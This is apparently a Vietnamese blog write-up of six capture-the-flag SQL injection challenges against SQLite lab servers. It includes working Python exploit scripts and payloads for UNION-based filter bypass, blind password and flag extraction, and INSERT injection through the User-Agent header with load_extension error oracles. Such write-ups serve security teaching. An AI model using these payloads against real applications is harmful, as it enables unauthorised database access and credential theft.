[Cookie hân hoan] Some SQL Injection Challenges

Cũng khá lâu rồi mình mới quay lại viết writeup sau một khoảng thời gian ôn thi và nghiên cứu :v. Cũng là để rèn luyện khả năng viết script exploit thì tất cả những bài ở dưới mình cũng sẽ kèm thêm cả 1 đoạn script. Vì còn khá gà kỹ năng viết script exploit, nên mong ae hãy nhẹ tay comment để giúp mình cải thiện hơn trong những lần sau. Và sau sẽ là toàn bộ những bài SQL Injection mà mình đã làm được theo chiều từ dưới lên nhé.

Baby SQLite With Filter

Bài này đã filter kha khá thứ nhưng nếu không có hint thì mình có đâm đầu vào đây thêm 10 tháng nữa chắc cũng chưa làm ra :v

Với một hint chất lượng là “nó có query với param level nữa. Làm thế nào để câu query ra ‘admin’ là được”. Và mình đã tưởng tượng ra câu query như này

SELECT username FROM users WHERE uid = '&uid' AND upw = '&upw' AND level = &level

Giờ mình sẽ đi qua từng param để loại trừ đi nhé:

  • Với param uidupw nó là string rồi thì khi mình inject sẽ phải sử dụng dấu nháy đơn để kết hợp với dấu nháy đơn trong câu query. Mà dấu nháy đơn lại nằm trong blacklist rồi

⇒ Inject vào param level

Để ý trong blacklist sẽ trong có UNION và nó cũng là cái mà mình cần đấy. Tiếp theo là VALUES cũng không bị filter luôn. Vậy giờ câu query của mình nó sẽ trông dư lày:

SELECT username FROM users WHERE uid = '' AND upw = '' AND level = 999 UNION VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110))

Nhưng với dấu space thì nó lại bị filter rồi thì mình bypass kiểu gì đây????

Với mình thì dấu space trong trường hợp này có thể được thay thế bằng dấu comment. Trong SQLite có 2 loại dấu comment, đó là --/**/ trong trường hợp này thì mình dùng dấu thứ 2

OK đến giờ giải thích payload:

  • Mình sẽ truyền uidupw là rỗng để khi query sẽ không trả về bản ghi nào

  • Với level thì là chỗ mình truyền payload. Để nó là 999 thì cũng là lý do như trên và kèm với đoạn kia …

Đây nó đây

Tại sao lại có những con số kia ư? Nó đây

Trong hàm VALUES nó sẽ nối các chữ được chuyển từ dạng số nguyên sang ascii kia thành 1 từ “admin” hoàn chỉnh và || trong đó là để nối các từ riêng lẻ lại đó.

Như vậy với câu UNION VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110)) nó cũng sẽ tương đương với SELECT ‘admin’

PoC script:

import requests

host = "http://103.97.125.53:31171/login"  # change this
payload = {"uid": "1", "upw": "1",
           "level": "999/**/UNION/**/VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110))--/**/-"}
flag = requests.post(host, data=payload).text

print(f'Flag is: {flag}')

Simple SQLi

Bài này thì sau khi đọc xong mình nghĩ đến order by. Vì sao à, vì guestadmin nó đều có userlevel là 0 mà để sắp xếp theo bảng chữ cái thì tất nhiên “admin” nó xếp trên “guest” rồi. Giờ thì vào bài thôi nhỉ.

Khi mình search là 0 thì nó sẽ trả về là guest. Nhưng giờ mình chưa biết câu query có tồn tại dấu nháy hay không thì giờ sẽ fuzz nhé :v

Khi mình thêm 1 dấu comment như này thì server trả về wrong rồi thì khả năng cao nó sẽ có dấu nháy này. Thử tiếp với nháy đơn xem sao

Xong đến giờ này thì mình tưởng tượng ra câu query nó như này

SELECT username FROM users WHERE userlevel='<cai_minh_truyen>'

Sau khi thực hiện câu query xong, server sẽ lấy bản ghi đầu tiên, nếu có giá trị là guest thì thông báo ra là “guest”. Còn nếu nó là admin thì sẽ đưa ra flag (cái này là đoán vậy thôi)

Như đã trình bày ở trên thì khi mình order by đúng cái cột mà chứa guest với admin theo thứ tự giảm dần thì chắc chắn thằng admin nó sẽ đứng trước guest và mình sẽ lấy được giá trị admin

Và giờ mình chỉ cần fuzz xem nó là cột nào thôi, nhưng may mắn thế nào nó lại là cột đầu tiên luôn chứ nên là có script luôn:

import requests

host = "http://103.97.125.53:32302/login"  # change this
payload = {"userlevel": "0' ORDER BY 1-- -"}
response = requests.post(host, data=payload).text

print(response)

Simple Blind SQL Injection

Mục tiêu bài này là lấy được password của admin rồi login vào để lấy flag (mình đoán là vậy).

Trên giao diện web, khi mình search 1 user đã tồn tại thì sẽ được thông báo là

Với một user chưa tồn tại thì

OK, bài này đã cho mình luôn câu query rồi nên sẽ dễ dàng hơn.

Ý tưởng bài này là mình sẽ đi dò từng kí tự password của admin. Nếu đúng mình sẽ cố gắng cho nó trả về thông báo tồn tại, còn không thì sẽ là không tồn tại. Giờ thì xây dựng quả payload thôi:

  • Hàm substr trong SQLite này sẽ giúp chúng ta lấy số lượng ký tự của 1 chuỗi mình cho trước. Nên mình sẽ dùng hàm này

  • Sau khi lấy được kí tự rồi, mình sẽ đem đi so sánh với từng kí tự từ a-zA-Z0-9 và các dấu có thể như “{”, ”}”, ”_”

  • Vậy giờ làm sao để cho nó đúng thì trả về tồn tại còn sai thì không tồn tại. Đúng vậy, mình dùng AND luôn.

Vậy thì 1 cái payload không hoàn chỉnh sẽ như thế này

admin' AND SUBSTR(upw,<vi_tri_bat_dau>,1)='<ki_tu_nao_do>'-- -

Ví dụ với vị trí bắt đầu là 1, mình đem đi so sánh với chữ “a” đi, thì câu query sẽ trông như này:

SELECT * FROM users WHERE uid='admin' AND SUBSTR(upw,1,1)='a'-- -';

Lúc này server sẽ tìm kiếm 1 bản ghi nào đó có uid='admin' và ký tự đầu tiên của upw là “a”. Nếu thỏa mãn thì trả về tồn tại, không tìm thấy thì là không tồn tại.

NHƯNG khoan, vậy thì cái upw có bao nhiêu ký tự để mà mình xem nó bắt đầu từ vị trí nào đúng không? Thế thì giờ sẽ dùng đến hàm LENGTH trong SQLite để lấy độ dài :v

SELECT * FROM users WHERE uid='admin' AND LENGTH(upw)=<minh_truyen_vao_day>-- -';

Xâu chuỗi lại sẽ là:

  • Tìm ra độ dài của password

  • Tìm từng ký tự của password cho đến khi kết thúc

  • Đăng nhập nhận quà

Vậy thì đến lúc script exploit rồi:

import requests
import string

dic = string.ascii_letters + string.digits + "{" + "}" + "_"

host = "http://103.97.125.53:30142/"  # change this

param = "?uid="

# get length
len = 0
for i in range(1, 100):
    print(f'Try: {i}', end="\r")
    payload = f"admin' AND length(upw)={i}-- -"
    response = requests.get(host+param+payload).text
    if 'exists' in response:
        print(f'Password length is {i}')
        len = i
        break

# get password
password = ''
for i in range(1, len+1):
    for chr in dic:
        print(f'Try the character in position {i}: {chr}', end="\r")
        payload = f"admin' AND SUBSTR(upw,{i},1)='{chr}'-- -"
        response = requests.get(host+param+payload).text
        if 'exists' in response:
            password += chr
            break

print("\t\t\t\t\t\t")
print('Password is: '+password)

# get flag
path = "login"
data = {"username": "admin", "password": password}
response = requests.post(host+path, data=data).text
print(f"FLag is: {response}")

Baby Logger Middleware

Mục tiêu của bài này là thêm 1 giá trị HACKER_WAS_HERE trong cột IP ip_address. Vào xem cái web nó ra sao cái nhỉ

Vậy là nó sẽ lưu những thông tin như User Agent, Referer, URL,... vào trong database. Mở BurpSuite để có thể nhìn rõ hơn nào

Trong BurpSuite mình có thể dễ dàng tùy chỉnh giá trị của User-Agent thế thì thử phát xem sao

Vậy là nó sẽ lưu được :V, nếu mình không truyền 1 giá trị như bình thường thì sao mà mình truyền cho User-Agent có một dấu nháy đơn thì sao nhỉ

BÙMMMMMM!!! Như vậy là trong error message đã đưa cho mình câu query luôn rồi

INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
              VALUES ('***', 'ngductung'', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');

Nếu từ chỗ User-Agent mình sẽ thao túng luôn cả câu INSERT này thì???? Lúc này mình sẽ truyền là: 1', '2', '3', '4', '5')-- - thì cả câu query nó sẽ trở thành:

INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
              VALUES ('***', '1', '2', '3', '4', '5')-- -', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');

Cái mình chèn vào nó đã giúp hoàn thành câu INSERT ban đầu và loại bỏ những phần đằng sau đi nhờ dấu comment -- -. Nhưng các bạn để ý thì thấy mình mới chỉ chèn dữ liệu cho các cột từ user_agent trở đi mà chưa chèn được vào cột ip_address. Thế thì mình nên đi xem lại câu INSERT trong SQL cái nhỉ

Như vậy là câu INSERT có thể truyền nhiều hàng trong cùng 1 câu lệnh. Vậy giờ mình sẽ chỉ cần thêm 1 hàng nữa thôi. Cái mình inject sẽ là:

1', '2', '3', '4', '5'),('0','1', '2', '3', '4', '5')-- -

Và câu query sẽ trở thành:

INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
              VALUES ('***', '1', '2', '3', '4', '5'),('0','1', '2', '3', '4', '5')-- -', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');

Thử trên BurpSuite thôi:

OK rồi, và giờ mình sẽ cần đổi giá trị 0 thành chuỗi mà đề bài yêu cầu là xong

Script exploit:

import requests
import re

burp0_url = "http://103.97.125.53:32042/"  # change this
burp0_headers = {
    "User-Agent": "1', '2', '3', '4', '5'),('HACKER_WAS_HERE','1', '2', '3', '4', '5')-- -"}

response = requests.get(burp0_url, headers=burp0_headers).text
flag = re.search(r'CHH\{[\w+.*]+\}', response)[0]

print(flag)

Logger Middleware

Bài này thì có mục tiêu là lấy được flag trong database. Thì sau khi đọc xong description thì ý tưởng của mình sẽ là:

  • Tìm được tên các bảng

  • Tìm được tên các cột của bảng chứa flag

  • Lấy flag

Tất cả nó mới chỉ ở ý tưởng, giờ thì mình vào web để triển khai cái ý tưởng này thôi

Cũng giống như bài trên đấy, thế thì confirm lại xem có inject được vào User-Agent không đã nhỉ

Thế thì là giống rồi đấy, vậy giờ mình sẽ phải tìm tên các bảng trong database này. Vì mình không nghịch nhiều SQLite nên sẽ đi kiếm cái payload để về custom lại. Đây sẽ là câu query để lấy được tên các bảng trong database ở SQLite:

SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

Nhưng giờ chèn vào đâu được? Lúc này mình sẽ sử dụng subquery :v, vẫn là truyền như ở bài trên nhưng thay vì là 1, 2, 3, 4, 5 gì gì đó mình sẽ thay thế bằng câu truy vấn con thôi

Lúc này mình sẽ truyền:

'||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'

Thì câu INSERT sẽ là:

INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
              VALUES ('***', ''||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');

Tận dụng được luôn dấu nháy đơn ban đầu trước :v Với cái payload này thì nó sẽ nối 1 chuỗi rỗng '' với kết quả của câu subquery rồi lại nối với một chuỗi rỗng nữa '' thế là ra được nội dung của cột user_agent

Giờ mình sẽ lấy tên các cột trong bảng ‘flag’

SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'

Sau khi lấy được các cột thì mình sẽ lấy nội dung của cột đó nữa là xong :v

Script:

import requests
import re

host = "http://103.97.125.53:30959/"

# get database
print("Database: ", end="")
payload = {
    "User-Agent": "'||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'"}
response = requests.get(host, headers=payload).text

database = re.search(r'<td>(\w+.*)</td>', response)[1]

print(database)

# get table
print("Table flag: ")
payload = {
    "User-Agent": "'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag')||'"}
response = requests.get(host, headers=payload).text

table = re.search(f'CREATE TABLE[^<]+', response)[0]

print(table)

# get flag
print("Flag is: ", end="")
payload = {
    "User-Agent": "'||(SELECT secr3t_flag FROM flag)||'"}
response = requests.get(host, headers=payload).text

flag = re.search(f'<td>(\w+.*)</td>', response)[1]

print(flag)

Blind Logger Middleware

Bài này sương sương thì cũng giống bài trên nhưng giờ đây khi INSERT thành công thì sẽ trả về là Logged

Và khi không thành công thì sẽ là Error

Ý tưởng của mình sẽ là đi mò từng ký tự từ tên bảng, tên cột, dữ liệu của cột luôn. Nếu nó đúng với ký tự mình đem đi so sánh (giống với bài Blind SQLi Injection ở trên) thì mình sẽ làm nó trả về Logged còn sai thì sẽ là Error

Cái payload chính cũng sẽ xoay quanh điều kiện True và False như này

SELECT CASE WHEN SUBSTR(subquery_tuong_tu_bai_tren)='<ky_tu_nao_do>' THEN 1 ELSE load_extension(1) END

Ví dụ với lấy độ dài đi

SELECT CASE WHEN LENGTH(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')=13 THEN 1 ELSE load_extension(1) END
  • Nếu độ dài của tên các bảng (ví dụ nó trả về là: “ngductung,abc”) là 13 ⇒ điều kiện sẽ đúng và trả lại về 1. Sau đó ta nối chuỗi như bài trên :v thì lúc đó sẽ INSERT thành công và kết quả trả về là Logged

  • Còn khi độ dài của tên các bảng đó không là 13, thì điều kiện sai ⇒ thực hiện load_extension(1) mà hàm này sẽ gây ra lỗi ⇒ Không thực hiện INSERT được ⇒ Kết quả trả về đó là Error

Vậy cứ như thế mình sẽ đi tìm:

  • Độ dài của tên các bảng ⇒ Tìm tên các bảng

  • Độ dài của các cột trong bảng cần khai thác ⇒ Tên các cột trong bảng đó

  • Độ dài của dữ liệu ⇒ Lấy được dữ liệu

Đây sẽ là script cho anh em:

import requests
import string

host = 'http://103.97.125.53:30741/'
dicc = string.ascii_letters + string.digits + \
    '{' + '}' + '_' + '(' + ')' + ',' + ' '

# GET TABLE NAME
# get length group_concat table name
for i in range(1, 100):
    userAgent = {
        'User-agent': "'||(select CASE WHEN (length((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'))={}) THEN 1 ELSE load_extension(1) END)||'".format(i)}
    response = requests.get(host, headers=userAgent)
    print("Try {}".format(i), end="\r")
    if 'Logged' in response.text:
        len = i
        break

# get table name
table_name = ''
for i in range(1, len+1):
    for char in dicc:
        userAgent = {
            'User-agent': "'||(select CASE WHEN (substr((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),{},1)='{}') THEN 1 ELSE load_extension(1) END)||'".format(i, char)}
        response = requests.get(host, headers=userAgent)
        if 'Logged' in response.text:
            table_name += char
            break
print('Table: '+table_name)

# EXTRACT COLUMN NAME OF FLAG TABLE
# SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'

# get length columns

column = ''
table = 'flag'  # change table name if you want
for i in range(1, 200):
    userAgent = {
        'User-agent': "'||(select CASE WHEN (length((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'))={}) THEN 1 ELSE load_extension(1) END)||'".format(i)}
    response = requests.get(host, headers=userAgent)
    print("Try {}".format(i), end="\r")
    if 'Logged' in response.text:
        len = i
        break

# extract columns (construct)
for i in range(1, len+1):
    print("Char {}".format(i), end='\r')
    for char in dicc:
        payload = f"'||(select CASE WHEN (substr((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='{table}'),{i},1)='{char}') THEN 1 ELSE load_extension(1) END)||'"
        userAgent = {'User-agent': payload}
        response = requests.get(host, headers=userAgent)
        if 'Logged' in response.text:
            column += char
            break
print('TABLE flag: '+column)

# GET FLAG
# get length flag

column_name = 'secret' # change column name if you want 
for i in range(1, 200):
    payload = f"'||(select CASE WHEN (length((SELECT {column_name} FROM {table}))={i}) THEN 1 ELSE load_extension(1) END)||'"
    userAgent = {'User-agent': payload}
    response = requests.get(host, headers=userAgent)
    print("Try {}".format(i), end="\r")
    if 'Logged' in response.text:
        len = i
        break

# get flag

flag = ''
for i in range(1, len+1):
    print("Try char {}".format(i), end='\r')
    for char in dicc:
        payload = f"'||(select CASE WHEN (substr((SELECT {column_name} FROM {table}),{i},1)='{char}') THEN 1 ELSE load_extension(1) END)||'"
        userAgent = {'User-agent': payload}
        response = requests.get(host, headers=userAgent)
        if 'Logged' in response.text:
            flag += char
            break
print('Flag is: '+flag)

Tổng kết

Đến đây chắc có lẽ là hết những bài SQLi mà mình làm được rồi. Qua bài này mình cũng đã có thêm kiến thức về script, regex và cũng hi vọng mọi người có thể hiểu hơn về khai thác Blind SQLi (vì nó mất thời gian :v) hay là có những thể lượm nhặt gì có ích cho bản thân sau bài writeup này :v Nếu có phần nào chưa hiểu bạn có thể comment xuống dưới để mình và team có thể giúp bạn hiểu hơn và nếu bạn đã hiểu rồi thì hãy để lại comment để giúp mình cải thiện kỹ năng viết cho những lần sau viết bài. Hẹn gặp lại trong bài writeup tiếp theo (có lẽ là về Command Injection).

0
Subscribe to my newsletter

Read articles from Nguyễn Đức Tùng directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nguyễn Đức Tùng
Nguyễn Đức Tùng